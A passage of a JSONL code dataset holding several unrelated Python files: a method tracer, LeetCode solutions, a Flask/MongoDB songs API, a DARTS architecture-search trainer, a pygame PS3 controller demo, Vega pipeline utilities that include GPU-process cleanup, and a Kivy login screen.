able to output text to a device\n\n To create a tracer, you should use the :meth:`.Tracer.create` method.\n\n Once you have created a tracer with a name and a writer, you will be able to\n use it to decorate methods. Whenever those decorated methods are called, the\n tracer will use the writer to produce an output.\n\n Tracers are disabled by default. They can be enabled in one of two ways:\n\n - passing ``True`` to the ``enabled`` argument of the :meth:`Tracer.create`\n method\n - specifying it's name in the ``EMJAY_VISIBLE`` environment variable.\n\n The ``EMJAY_VISIBLE`` environment variable is a comma separated list of strings\n that represent the names of all the tracers to enable.\n \"\"\"\n\n @classmethod\n def create(cls, name=None, writer_class=None, enabled=None):\n \"\"\"\n Creates a tracer.\n\n :param str name: Name of the tracer. If ``None``, the calling module's ``__name__``\n will be used.\n :param type writer_class: Factory to create a writer object. If ``None``, the\n class at :attr:`emjay.Settings.default_writer` will be used.\n :param bool enabled: If ``True``, the tracer is enabled, regardless of the\n global settings. If ``False``, the tracer will be disabled, regardless\n of the tracer settings. Defaults to None, which defers to the ``EMJAY_VISIBLE``\n environment variable.\n\n :returns: If the ``enabled`` parameter is set to ``True`` or the ``EMJAY_VISIBLE``\n environment variable lists this tracer, a Tracer object will be\n returned. Otherwise, a :class:`~emjay.NullTracer` object will be returned.\n :rtype: :class:`~Tracer` or :class:`NullTracer`\n \"\"\"\n # If name hasn't been specified, take the caller's global __name__\n # which is the module name.\n if name is None:\n name = inspect.stack(2)[-1].frame.f_globals['__name__']\n\n # If no writer class has been specified, use the default one.\n if writer_class is None:\n writer_class = Settings.default_writer\n\n # If the enabled state hasn't been specified, use the contents from\n # EMJAY_VISIBLE\n if enabled is None:\n enabled = cls._is_enabled(name)\n\n if enabled :\n return Tracer(writer_class(name))\n else:\n return NullTracer()\n\n _EMJAY_VISIBLE = os.environ.get(\"EMJAY_VISIBLE\", \"\").lower().split(\",\")\n\n @classmethod\n def _is_enabled(cls, name):\n \"\"\"\n Checks if tracer ``name`` is enabled.\n\n :param str name: Name of the tracer to test.\n\n :returns bool: True if enabled, False otherwise.\n \"\"\"\n return name.lower() in cls._EMJAY_VISIBLE\n\n def __init__(self, writer):\n \"\"\"\n Constructor.\n \"\"\"\n self._writer = writer\n\n @property\n def name(self):\n \"\"\"\n Name of the tracer.\n\n :type: str\n \"\"\"\n return self._name\n\n @property\n def writer(self):\n \"\"\"\n The writer for this tracer.\n\n :type: :class:`~emjay.writers.Writer`-derived object.\n \"\"\"\n return self._writer\n\n def trace_function(self, func):\n \"\"\"\n Decorator that traces the entering and leaving of function.\n\n .. note: Decorating class methods using this ``trace_function``\n will only output the function name. If you want the class\n name to be printed out in front, use :meth:`Tracer.trace_method`\n\n .. code-block:: python\n\n @tracer.trace_function\n def foo(self):\n tracer.trace_msg(\"bar!\")\n pass\n\n will output\n\n .. code-block:: none\n\n + foo\n | bar!\n /\n\n\n :param function func: Function to decorate.\n\n :returns: The decorated function.\n :rtype: function\n \"\"\"\n return decorate(func, self._function_wrapper)\n\n def _function_wrapper(self, func, *args, **kwargs):\n \"\"\"\n Decorator for functions.\n\n :param function func: Function to decorate.\n :param list *args: Argument list to pass to `func`\n :param dict **kwargs: Keyword arguments to pass to `func`\n \"\"\"\n try:\n self._writer.write(\n Formatter.enter_scope(func.__name__)\n )\n return func(*args, **kwargs)\n finally:\n self._writer.write(\n Formatter.leave_scope()\n )\n\n def trace_method(self, method):\n \"\"\"\n Decorator that traces the entering and leaving of a method.\n\n .. code-block:: python\n\n class Foo:\n @tracer.trace_method\n def bar(self):\n tracer.trace_msg(\"bar!\")\n pass\n\n will output\n\n .. code-block:: none\n\n + Foo.bar\n | bar!\n /\n\n :param method method: Class method to decorate.\n\n :returns: The decorated method.\n :rtype: method\n \"\"\"\n return decorate(method, self._method_wrapper)\n\n def _method_wrapper(self, method, method_self, *args, **kwargs):\n \"\"\"\n Decorator for methods.\n\n :param method method: Class method to decorate.\n :param list *args: Argument list to pass to `method`\n :param dict **kwargs: Keyword arguments to pass to `method`\n \"\"\"\n try:\n self._writer.write(\n Formatter.enter_scope(\n \"%s.%s\" % (method_self.__class__.__name__, method.__name__)\n )\n )\n return method(method_self, *args, **kwargs)\n finally:\n self._writer.write(\n Formatter.leave_scope()\n )\n\n class trace_scope(object):\n \"\"\"\n Traces a given scope.\n\n :param str name: Name of the scope. ``None`` by default.\n\n This is meant to be used with the ``with`` statement.\n For example,\n\n .. code-block:: python\n\n with tracer.trace_scope(\"Doing foo\"):\n trace_msg(\"foo!\")\n\n will generate the following output\n\n .. code-block:: none\n\n + Doing foo\n | foo!\n /\n \"\"\"\n\n def __init__(self, name=None):\n \"\"\"\n Constructor.\n\n :param str name: Name for the scope\n \"\"\"\n self._name = name\n\n def __enter__(self):\n \"\"\"\n Indents the output and traces the scope name.\n \"\"\"\n self._writer.write(\n Formatter.enter_scope(self._name)\n )\n\n def __exit__(self, *_):\n \"\"\"\n Unindents the output.\n \"\"\"\n self._writer.write(\n Formatter.leave_scope()\n )\n\n def trace_msg(self, msg, *args):\n \"\"\"\n Traces a message.\n\n :param str msg: Format string.\n :param list \\*args: Optional list of values which will be used to format the string\n using the ``%`` operator.\n \"\"\"\n self._writer.write(\n Formatter.message(msg, args)\n )\n\n def trace_str(self, **kwargs):\n \"\"\"\n Traces the representation of one of more variables.\n\n Each variable must be passed as a keyword argument. For example\n\n .. code-block:: python\n\n trace_repr(foo=bar)\n\n will be rendered in text as\n\n .. code-block:: python\n\n foo: str(bar)\n\n :param dict \\**kwargs: The keyword arguments.\n \"\"\"\n for k, v in kwargs.items():\n self.trace_msg(\"%s: %s\", k, v)\n\n def trace_repr(self, **kwargs):\n \"\"\"\n Traces the representation of one of more variables.\n\n Each variable must be passed as a keyword argument. For example\n\n .. code-block:: python\n\n trace_repr(foo=bar)\n\n will be rendered in text as\n\n .. code-block:: python\n\n foo: repr(bar)``\n\n :param dict \\**kwargs: A dictionary of keyword arguments.\n \"\"\"\n for k, v in kwargs.items():\n self.trace_msg(\"%s: %r\", k, v)\n","sub_path":"emjay/tracer.py","file_name":"tracer.py","file_ext":"py","file_size_in_byte":8578,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"436097881","text":"#\n# @lc app=leetcode.cn id=200 lang=python3\n#\n# [200] 岛屿数量\n#\n# https://leetcode-cn.com/problems/number-of-islands/description/\n#\n# algorithms\n# Medium (47.88%)\n# Likes: 568\n# Dislikes: 0\n# Total Accepted: 106.2K\n# Total Submissions: 214.9K\n# Testcase Example: '[[\"1\",\"1\",\"1\",\"1\",\"0\"],[\"1\",\"1\",\"0\",\"1\",\"0\"],[\"1\",\"1\",\"0\",\"0\",\"0\"],[\"0\",\"0\",\"0\",\"0\",\"0\"]]'\n#\n# 给你一个由 '1'(陆地)和 '0'(水)组成的的二维网格,请你计算网格中岛屿的数量。\n#\n# 岛屿总是被水包围,并且每座岛屿只能由水平方向或竖直方向上相邻的陆地连接形成。\n#\n# 此外,你可以假设该网格的四条边均被水包围。\n#\n#\n#\n# 示例 1:\n#\n# 输入:\n# 11110\n# 11010\n# 11000\n# 00000\n# 输出: 1\n#\n#\n# 示例 2:\n#\n# 输入:\n# 11000\n# 11000\n# 00100\n# 00011\n# 输出: 3\n# 解释: 每座岛屿只能由水平和/或竖直方向上相邻的陆地连接而成。\n#\n#\n#\n\n\n# @lc code=start\nclass Solution:\n def DFSMarking(self, grid: List[List[str]], row: int, col: int,\n num_rows: int, num_cols: int):\n if row < 0 or col < 0 or row >= num_rows or col >= num_cols or grid[\n row][col] == '0':\n return\n\n grid[row][col] = '0'\n self.DFSMarking(grid, row - 1, col, num_rows, num_cols)\n self.DFSMarking(grid, row, col + 1, num_rows, num_cols)\n self.DFSMarking(grid, row + 1, col, num_rows, num_cols)\n self.DFSMarking(grid, row, col - 1, num_rows, num_cols)\n\n def numIslands(self, grid: List[List[str]]) -> int:\n num_islands = 0\n num_rows = len(grid)\n if num_rows == 0:\n return num_islands\n num_cols = len(grid[0])\n for row in range(num_rows):\n for col in range(num_cols):\n if grid[row][col] == '1':\n num_islands += 1\n self.DFSMarking(grid, row, col, num_rows, num_cols)\n\n return num_islands\n\n\n# @lc code=end\n","sub_path":"Week_04/200.岛屿数量.py","file_name":"200.岛屿数量.py","file_ext":"py","file_size_in_byte":1957,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"512075869","text":"from TreeNode import TreeNode\n\n\nclass SmalestSubtreeWithAllDeepestNodes:\n def subtreeWithAllDeepest(self, root: TreeNode) -> TreeNode:\n def deep(node):\n if not node:\n return 0, None\n ld = deep(node.left)\n rd = deep(node.right)\n\n if ld[0] > rd[0]:\n return ld[0] + 1, ld[1]\n elif rd[0] > ld[0]:\n return rd[0] + 1, rd[1]\n else:\n return ld[0] + 1, node\n return deep(root)[1]\n\n\nif __name__ == '__main__':\n init = SmalestSubtreeWithAllDeepestNodes()\n root = TreeNode(3)\n root.left = TreeNode(5)\n root.left.left = TreeNode(6)\n root.left.right = TreeNode(2)\n root.left.right.left = TreeNode(7)\n root.left.right.right = TreeNode(4)\n root.right = TreeNode(1)\n root.right.left = TreeNode(0)\n root.right.right = TreeNode(8)\n print(init.subtreeWithAllDeepest(root))\n","sub_path":"lastmile/leetcode/400/SmalestSubtreeWithAllDeepestNodes.py","file_name":"SmalestSubtreeWithAllDeepestNodes.py","file_ext":"py","file_size_in_byte":929,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"492871463","text":"from flask import Blueprint, request, jsonify\nfrom bson.objectid import ObjectId\n\nfrom db import db\nfrom core.utils import paginate, Validator\n\napi = Blueprint('api', __name__)\n\n\n@api.route('/songs')\ndef songs():\n songs = db.songs.find()\n return jsonify(songs=paginate(songs))\n\n\n@api.route('/songs/avg/difficulty')\ndef songs_avg_difficulty():\n validator = Validator({\n 'level': {'type': 'integer', 'coerce': int, 'required': False},\n })\n if not validator.validate(request.args.to_dict()):\n return jsonify(errors=validator.errors), 400\n\n level = validator.document['level']\n songs = db.songs.find({'level': level} if level else {})\n\n avg_difficulty = db.songs.aggregate([{\n '$group': {'_id': None, 'avg_difficulty': {'$avg': '$difficulty'}},\n }])\n\n return jsonify(\n songs=paginate(songs),\n avg_difficulty=list(avg_difficulty)[0]['avg_difficulty'],\n )\n\n\n@api.route('/songs/search')\ndef songs_search():\n message = request.args.get('message', '')\n songs = db.songs.find({'$text': {'$search': message}})\n return jsonify(songs=paginate(songs))\n\n\n@api.route('/songs/rating', methods=['POST'])\ndef songs_rating():\n validator = Validator({\n 'song_id': {'type': 'objectid'},\n 'rating': {'type': 'integer', 'min': 1, 'max': 5},\n })\n if not validator.validate(request.json):\n return jsonify(errors=validator.errors), 400\n\n song_id = request.json['song_id']\n rating = request.json['rating']\n\n song = db.songs.find_one({'_id': ObjectId(song_id)})\n if not song:\n return jsonify(errors={'song_id': ['song not found']}), 404\n\n user_id = ObjectId() # there is no authentication yet\n db.ratings.update(\n {'song_id': song['_id'], 'user_id': user_id},\n {'$set': {'rating': rating}},\n upsert=True,\n )\n\n return jsonify()\n\n\n@api.route('/songs/avg/rating/')\ndef songs_avg_rating(song_id):\n if not ObjectId.is_valid(song_id):\n return jsonify(errors={'song_id': ['invalid song_id']}), 400\n\n song = db.songs.find_one({'_id': ObjectId(song_id)})\n if not song:\n return jsonify(errors={'song_id': ['song not found']}), 404\n\n ratings = db.ratings.aggregate([\n {\n '$match': {'song_id': song['_id']}\n },\n {\n '$group': {\n '_id': '$song_id',\n 'average': {'$avg': '$rating'},\n 'lowest': {'$min': '$rating'},\n 'highest': {'$max': '$rating'},\n },\n },\n ])\n\n return jsonify(**list(ratings)[0])\n","sub_path":"core/views.py","file_name":"views.py","file_ext":"py","file_size_in_byte":2577,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"125019126","text":"import os\nimport time\nimport torch\nfrom genotype.cell import IDX_SEP\nimport envs\nfrom trainer import Trainer\nfrom methods.base import Base\nfrom methods.darts.controller import CNNController\nfrom methods.darts.controller import RNNController\nfrom methods.darts.controller import TransformerController\nfrom methods.darts.architect import Architect\n\n\ndef make_genome(controller):\n genome = []\n bias = 0 if isinstance(controller, RNNController) else 1\n for a_agg, a_ops in zip(controller.alpha_agg, controller.alpha_ops):\n out = [str(torch.argmax(a_agg).item())]\n indices = torch.argsort(a_ops.view(-1), descending=True)\n count = 0\n for cand in indices:\n idx = (cand // a_ops.shape[1]).item()\n idx = str(max(idx - bias, 0))\n seq = (cand % a_ops.shape[1]).item()\n op = seq // len(controller.type.ACTIVATIONS)\n if op == 0:\n continue\n elif op < 10:\n op = '0' + str(op)\n else:\n op = str(op)\n ac = str(seq % len(controller.type.ACTIVATIONS))\n out += [idx, IDX_SEP, op, ac]\n count += 1\n if count == 2:\n break\n if count < 2:\n continue\n genome.append(''.join(out))\n\n return genome\n\n\nclass DARTSTrainer(Trainer):\n def __init__(self, env, controller, hessian,\n logger=None, args=None):\n super().__init__(env, controller, args)\n self.optimizer = torch.optim.SGD(\n controller.weights,\n lr=args.lr,\n momentum=args.momentum,\n weight_decay=args.weight_decay\n )\n self.alpha_optimizer = torch.optim.Adam(\n controller.alphas,\n lr=args.lr*0.01,\n betas=(0.5, 0.999),\n weight_decay=args.weight_decay*10\n )\n self.architect = Architect(controller, hessian, args)\n self.logger = logger\n\n def train(self):\n self.model.train()\n for data, labels in self.env['train']:\n self.step += 1\n st = time.time()\n\n data = data.to(self.args.device)\n labels = labels.to(self.args.device)\n\n v_data, v_labels = next(iter(self.env['val']))\n v_data = v_data.to(self.args.device)\n v_labels = v_labels.to(self.args.device)\n\n self.alpha_optimizer.zero_grad()\n self.architect.backward(data, labels, v_data, v_labels, self.optimizer)\n self.alpha_optimizer.step()\n\n outputs = self.model(data)\n loss = self.criterion(outputs, labels)\n\n self.optimizer.zero_grad()\n loss.backward()\n self.optimizer.step()\n\n elapsed = time.time() - st\n self.info.update('Epoch', self.epoch)\n self.info.update('Time/Step', elapsed)\n self.info.update('Time/Item', elapsed/self.args.batch_size)\n self.info.update('Loss', loss.item())\n\n _, preds = torch.max(outputs, dim=-1)\n top1 = (labels == preds).float().mean()\n self.info.update('Accuracy/Top1', top1.item())\n\n if self.step % self.args.log_step == 0:\n self.logger.log(\"Training statistics for step: {}\".format(self.step))\n self.logger.scalar_summary(self.info.avg, self.step)\n self.info.reset()\n\n self.epoch += 1\n\n\nclass DARTS(Base):\n def __init__(self, args):\n super().__init__('DARTS', args)\n if args.type == 'cnn':\n controller = CNNController\n elif args.type == 'rnn':\n controller = RNNController\n elif args.type == 'transformer':\n controller = TransformerController\n else:\n raise NotImplementedError\n self.env = getattr(envs, args.env)(args)\n self.controller = controller(\n self.env['size'],\n self.env['num_classes'],\n args\n )\n self.trainer = DARTSTrainer(\n self.env,\n self.controller,\n hessian=False,\n logger=self.logger,\n args=args\n )\n self.args = args\n\n def search(self):\n best_acc = 0\n for epoch in range(self.args.epochs):\n self.trainer.train()\n self.trainer.infer(test=False)\n\n acc = self.trainer.info.avg['Accuracy/Top1']\n self.trainer.info.reset()\n self.logger.log(\"Validation accuracy: {}\".format(acc))\n if acc > best_acc:\n best_acc = acc\n self.logger.log(\"Saving genome at step {}...\".format(\n self.trainer.step\n ))\n filename = 'genome_{}.txt'.format(self.trainer.step)\n path = os.path.join(self.logger.log_dir, filename)\n with open(path, 'w') as f:\n seqs = make_genome(self.controller)\n for seq in seqs:\n f.write(seq + '\\n')\n\n\nclass DARTS_2ND(DARTS):\n def __init__(self, args):\n super().__init__(args)\n self.trainer = DARTSTrainer(\n self.env,\n self.controller,\n hessian=True,\n logger=self.logger,\n args=args\n )\n","sub_path":"methods/darts/search.py","file_name":"search.py","file_ext":"py","file_size_in_byte":5281,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"11431666","text":"#!/usr/bin/python\nimport pygame\nimport os\nimport time\nimport usb\n\nos.environ['SDL_VIDEO_CENTERED'] = '1'\n\nif not pygame.display.get_init():\n pygame.display.init()\n\nif not pygame.font.get_init():\n pygame.font.init()\n\nif not pygame.mixer.get_init():\n pygame.mixer.init()\n\nif not pygame.joystick.get_init():\n pygame.joystick.init()\n\nwidth = 900\nheight = 560\npath_image = \"ps3_controller.png\"\n\n\nclass PS3_Controller:\n def __init__(self, surface):\n self.joystick = None\n self.buttons = None\n self.surface = surface\n self.t = 0\n self.time = time.time\n self.left_axis = None\n self.right_axis = None\n\n def update_axis(self):\n if self.joystick is not None:\n try:\n self.left_axis = [self.joystick.get_axis(0), self.joystick.get_axis(1)]\n self.right_axis = [self.joystick.get_axis(2), self.joystick.get_axis(3)]\n except pygame.error:\n print\n \"Axis Error\"\n\n def is_pressed(self, button_name):\n if self.buttons is not None:\n if button_name == 'left_stick':\n print('left_stick')\n self.update_axis()\n if sum(self.left_axis) > 0 or sum(self.left_axis) < 0:\n return True\n else:\n return False\n elif button_name == 'right_stick':\n print('right_stick')\n self.update_axis()\n if sum(self.right_axis) > 0 or sum(self.right_axis) < 0:\n return True\n else:\n return False\n else:\n print('button')\n self.update_buttons()\n if self.buttons[button_name] == 1:\n return True\n else:\n return False\n else:\n return False\n\n def update_buttons(self):\n if self.joystick is not None:\n pygame.event.pump()\n try:\n self.buttons = {\n 'left': self.joystick.get_button(7),\n 'right': self.joystick.get_button(5),\n 'up': self.joystick.get_button(4),\n 'down': self.joystick.get_button(6),\n 'square': self.joystick.get_button(15),\n 'x': self.joystick.get_button(14),\n 'circle': self.joystick.get_button(13),\n 'triangle': self.joystick.get_button(12),\n 'r1': self.joystick.get_button(11),\n 'r2': self.joystick.get_button(9),\n 'l1': self.joystick.get_button(10),\n 'l2': self.joystick.get_button(8),\n 'select': self.joystick.get_button(0),\n 'start': self.joystick.get_button(3),\n 'l3': self.joystick.get_button(1),\n 'r3': self.joystick.get_button(2),\n 'ps': self.joystick.get_button(16),\n }\n except pygame.error:\n self.joystick = None\n else:\n self.buttons = None\n return\n\n def check_if_connected(self):\n try:\n busses = usb.busses()\n for bus in busses:\n devices = bus.devices\n for dev in devices:\n if dev.idVendor == 1356:\n return True\n return False\n except usb.core.USBError:\n print\n \"USB Disconnected\"\n return False\n\n def check_status(self):\n self.update_buttons()\n if self.check_if_connected():\n if self.t == 0:\n print\n \"Connected\"\n self.t = 1\n pygame.joystick.quit()\n pygame.joystick.init()\n joysticks = [pygame.joystick.Joystick(x) for x in range(pygame.joystick.get_count())]\n while len(joysticks) <= 0:\n pygame.joystick.quit()\n pygame.joystick.init()\n joysticks = [pygame.joystick.Joystick(x) for x in range(pygame.joystick.get_count())]\n for joystick in joysticks:\n if 'playstation' in joystick.get_name().lower():\n print\n joystick.get_name()\n self.joystick = joystick\n self.joystick.init()\n\n else:\n print\n 'Disconnected'\n pygame.joystick.quit()\n self.t = 0\n self.joystick = None\n self.buttons = None\n\n\nfigures = {'square': ['circle', 31], 'x': ['circle', 31], 'triangle': ['circle', 31], 'ps': ['circle', 31],\n 'circle': ['circle', 31],\n 'up': ['polygon'], 'down': ['polygon'], 'left': ['polygon'], 'right': ['polygon'],\n 'right_stick': ['circle', 60],\n 'left_stick': ['circle', 60], 'select': ['rectangle'], 'start': ['polygon'], 'l3': ['circle', 60],\n 'r3': ['circle', 60],\n 'r1': ['rectangle'], 'r2': ['rectangle'], 'l1': ['rectangle'], 'l2': ['rectangle'],\n }\n\ncoords = {'square': (651, 208), 'x': (717, 275), 'circle': (782, 208), 'triangle': (716, 141),\n 'right_stick': (578, 346),\n 'left_stick': (319, 342),\n 'up': [(164, 135), (202, 135), (202, 169), (184, 187), (164, 169), (164, 135)],\n 'right': [(201, 206), (217, 184), (252, 184), (252, 224), (217, 225), (201, 206)],\n 'down': [(184, 224), (205, 241), (205, 272), (162, 272), (162, 241), (184, 224)],\n 'left': [(114, 186), (149, 186), (168, 204), (149, 224), (114, 224), (114, 186)],\n 'select': (349, 212, 38, 18), 'start': [(511, 212), (539, 221), (511, 232), (511, 212)],\n 'ps': (454, 288), 'l3': (319, 342), 'r3': (578, 346), 'l1': (115, 30, 138, 27), 'l2': (115, 30, 138, 27),\n 'r1': (647, 30, 138, 27), 'r2': (647, 30, 138, 27)}\n\nif __name__ == \"__main__\":\n pygame.init()\n surface = pygame.display.set_mode((width, height))\n pygame.display.set_caption('Pygame PS3 Demo')\n fondo = pygame.image.load(path_image)\n controller = PS3_Controller(surface)\n while True:\n surface.blit(fondo, (0, 0))\n controller.check_status()\n for figure in figures:\n if controller.is_pressed(figure):\n if figures[figure][0] == 'circle':\n pygame.draw.circle(surface, (255, 0, 0), coords[figure], figures[figure][1], 0)\n elif figures[figure][0] == 'polygon':\n pygame.draw.polygon(surface, (255, 0, 0), coords[figure], 0)\n elif figures[figure][0] == 'rectangle':\n pygame.draw.rect(surface, (255, 0, 0), coords[figure], 0)\n pygame.display.update()","sub_path":"pygame/ps3_contoller.py","file_name":"ps3_contoller.py","file_ext":"py","file_size_in_byte":6839,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"577730781","text":"import os\r\nimport random\r\nimport cv2\r\n\r\ndataset_file = \"C:/Users/Pasca/OneDrive/Dokumente/Master_3.Semester/Master_3.Semester/SYSL/Concept_whitening/selfmade_dataset_test/\"\r\n\r\nfor concept in os.listdir(dataset_file):\r\n for img_path in os.listdir(dataset_file + concept):\r\n #print(number)\r\n img = cv2.imread(dataset_file + concept + \"/\" + img_path)\r\n img = cv2.flip(img, 0)\r\n\r\n out_path = dataset_file + concept + \"/flip_\" + img_path\r\n print(out_path)\r\n cv2.imwrite(out_path, img)\r\n\r\n","sub_path":"Scripts/Concept Whitening Classifier/Scripts/rotate_concepts_180.py","file_name":"rotate_concepts_180.py","file_ext":"py","file_size_in_byte":528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"457500438","text":"# -*- coding:utf-8 -*-\n\n# Copyright (C) 2020. Huawei Technologies Co., Ltd. All rights reserved.\n# This program is free software; you can redistribute it and/or modify\n# it under the terms of the MIT License.\n# This program is distributed in the hope that it will be useful,\n# but WITHOUT ANY WARRANTY; without even the implied warranty of\n# MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the\n# MIT License for more details.\n\n\"\"\"Utils functions that been used in pipeline.\"\"\"\n\nimport os\nimport socket\nimport logging\nimport signal\nimport psutil\nfrom enum import Enum\nfrom vega.common import FileOps\nfrom vega.common.task_ops import TaskOps\n\n\nclass WorkerTypes(Enum):\n \"\"\"WorkerTypes.\"\"\"\n\n TRAINER = 1\n EVALUATOR = 2\n HOST_EVALUATOR = 3\n DeviceEvaluator = 5\n\n\n# Here start the stand alone functions for master to use!\ndef clean_cuda_proc(master_pid, device_id):\n \"\"\"Short summary.\n\n :param type master_pid: Description of parameter `master_pid`.\n :param type device_id: Description of parameter `device_id`.\n \"\"\"\n current_pid = os.getpid()\n cuda_kill = \"fuser -v /dev/nvidia{0} | \" \\\n \"awk '{{for(i=1;i<=NF;i++)if($i!={1}&&$i!={2})\" \\\n \"print \\\"kill -9 \\\" $i;}}' | sh\".format(device_id, master_pid, current_pid)\n os.system(cuda_kill)\n return\n\n\ndef kill_proc_tree(pid, sig=signal.SIGKILL, include_parent=True,\n timeout=None, on_terminate=None):\n \"\"\"Kill a process tree (including grandchildren) with signal.\n\n \"sig\" and return a (gone, still_alive) tuple.\n \"on_terminate\", if specified, is a callabck function which is\n called as soon as a child terminates.\n \"\"\"\n if pid == os.getpid():\n raise RuntimeError(\"I refuse to kill myself\")\n gone = None\n alive = None\n try:\n parent = psutil.Process(pid)\n children = parent.children(recursive=True)\n if include_parent:\n children.append(parent)\n for p in children:\n p.send_signal(sig)\n gone, alive = psutil.wait_procs(children, timeout=timeout,\n callback=on_terminate)\n except Exception:\n\n pass\n return (gone, alive)\n\n\ndef get_master_address(args):\n \"\"\"Get master address(ip, port) from `args.init_method`.\n\n :param argparse.ArgumentParser args: `args` is a argparse that should\n contain `init_method`, `rank` and `world_size`.\n :return: ip, port.\n :rtype: (str, str) or None\n\n \"\"\"\n if args.init_method is not None:\n address = args.init_method[6:].split(\":\")\n ip = socket.gethostbyname(address[0])\n port = address[-1]\n logging.info(\"get master address, address={}, ip={}, port={}\".format(\n address, ip, port\n ))\n return ip, port\n else:\n logging.warn(\"fail to get master address, args.init_method is none.\")\n return None\n\n\ndef get_local_address():\n \"\"\"Try to get the local node's IP.\n\n :return str: ip address.\n\n \"\"\"\n hostname = socket.gethostname()\n ip = socket.gethostbyname(hostname)\n logging.info(\"get local address, hostname={}, ip={}\".format(\n hostname, ip\n ))\n return ip\n\n\ndef save_master_ip(ip_address, port, args):\n \"\"\"Write the ip and port in a system path.\n\n :param str ip_address: The `ip_address` need to write.\n :param str port: The `port` need to write.\n :param argparse.ArgumentParser args: `args` is a argparse that should\n contain `init_method`, `rank` and `world_size`.\n\n \"\"\"\n temp_folder = TaskOps().temp_path\n FileOps.make_dir(temp_folder)\n file_path = os.path.join(temp_folder, 'ip_address.txt')\n logging.info(\"write ip, file path={}\".format(file_path))\n with open(file_path, 'w') as f:\n f.write(ip_address + \"\\n\")\n f.write(port + \"\\n\")\n\n\ndef load_master_ip():\n \"\"\"Get the ip and port that write in a system path.\n\n here will not download anything from S3.\n \"\"\"\n temp_folder = TaskOps().temp_path\n FileOps.make_dir(temp_folder)\n file_path = os.path.join(temp_folder, 'ip_address.txt')\n if os.path.isfile(file_path):\n with open(file_path, 'r') as f:\n ip = f.readline().strip()\n port = f.readline().strip()\n logging.info(\"get write ip, ip={}, port={}\".format(\n ip, port\n ))\n return ip, port\n else:\n return None, None\n\n\ndef get_master_port(args):\n \"\"\"Get master port from `args.init_method`.\n\n :param argparse.ArgumentParser args: `args` is a argparse that should\n contain `init_method`, `rank` and `world_size`.\n :return: The port that master used to communicate with slaves.\n :rtype: str or None\n\n \"\"\"\n if args.init_method is not None:\n address = args.init_method.split(\":\")\n port = address[-1]\n return port\n else:\n return None\n","sub_path":"vega/trainer/utils.py","file_name":"utils.py","file_ext":"py","file_size_in_byte":4870,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"91890704","text":"import json\nimport os\n\nimport graphene\nfrom flask import Blueprint\nfrom flask_graphql import GraphQLView\n\nfrom gtmcore.configuration import Configuration\nfrom lmsrvcore.middleware import AuthorizationMiddleware, DataloaderMiddleware, time_all_resolvers_middleware, \\\n error_middleware, RepositoryCacheMiddleware\nfrom lmsrvlabbook.api import LabbookQuery, LabbookMutations\n\n\n# ** This blueprint is the combined full LabBook service with all components served together from a single schema ** #\n\n# Load config data for the LabManager instance\n# There is no flask application running yet\nconfig = Configuration()\n\n# Create Blueprint\ncomplete_labbook_service = Blueprint('complete_labbook_service', __name__)\n\n# Create Schema\nfull_schema = graphene.Schema(query=LabbookQuery, mutation=LabbookMutations)\n\n# Add route and require authentication\nif config.is_hub_client:\n # Add full prefix to API when running in the Hub\n api_target = f\"/run/{os.environ['GIGANTUM_CLIENT_ID']}{config.config['proxy']['labmanager_api_prefix']}\"\nelse:\n api_target = config.config[\"proxy\"][\"labmanager_api_prefix\"]\n\ncomplete_labbook_service.add_url_rule(f'{api_target}/labbook/',\n view_func=GraphQLView.as_view('graphql', schema=full_schema,\n graphiql=config.config[\"flask\"][\"DEBUG\"],\n middleware=[error_middleware,\n RepositoryCacheMiddleware(),\n DataloaderMiddleware(),\n AuthorizationMiddleware()]),\n methods=['GET', 'POST', 'OPTION'])\n\n\nif __name__ == '__main__':\n # If the blueprint file is executed directly, generate a schema file\n introspection_dict = full_schema.introspect()\n\n # Save the schema\n with open('full_schema.json', 'wt') as fp:\n json.dump(introspection_dict, fp)\n print(\"Wrote full schema to {}\".format(os.path.realpath(fp.name)))\n\n","sub_path":"packages/gtmapi/blueprint.py","file_name":"blueprint.py","file_ext":"py","file_size_in_byte":2207,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"72124886","text":"# -*- coding: utf-8 -*-\nfrom kivy.lang import Builder\nfrom kivy.uix.boxlayout import BoxLayout\nfrom custom_widgets import Title, MyTextInput, MyButton\n\nBuilder.load_string(\"\"\"\n \n:\n orientation: 'vertical'\n size_hint: (0.5, 0.5)\n spacing: 30\n pos_hint: {'center_x': .5, 'center_y': .5}\n anchor_x: 'center'\n anchor_y: 'center'\n id: inputs\n \n\"\"\")\n\nclass LoginSceen(BoxLayout):\n def __init__(self, *args, **kwargs):\n super(LoginSceen, self).__init__(*args, **kwargs)\n self.app = kwargs['app']\n self.createInputs()\n self.add_widget(self.createButtons())\n \n def createInputs(self):\n self.add_widget(Title(text='Bem Vindo!'))\n self.add_widget(MyTextInput(\n hint_text='Seu e-mail',\n id='email'\n ))\n self.add_widget(MyTextInput(\n hint_text='Sua senha',\n id='password',\n password=True\n ))\n \n def createButtons(self):\n boxButtons = BoxLayout(id='boxButtons')\n btn_login = MyButton(\n id='btn_login',\n text='Login'\n )\n btn_register = MyButton(\n id='call_form',\n text='Cadastrar-se',\n on_press=self.app.action_btn\n )\n boxButtons.add_widget(btn_login)\n boxButtons.add_widget(btn_register)\n return boxButtons\n \n \n \n \n","sub_path":"kivy/ManagementTools/screens/login.py","file_name":"login.py","file_ext":"py","file_size_in_byte":1404,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"61"} +{"seq_id":"95489238","text":"from includes.database import Database\nimport config\nimport argparse\nfrom pyspark.sql import SparkSession\nfrom includes import utils, logger\nfrom datetime import datetime\n\nif __name__ == \"__main__\":\n parser = argparse.ArgumentParser(description='Process some 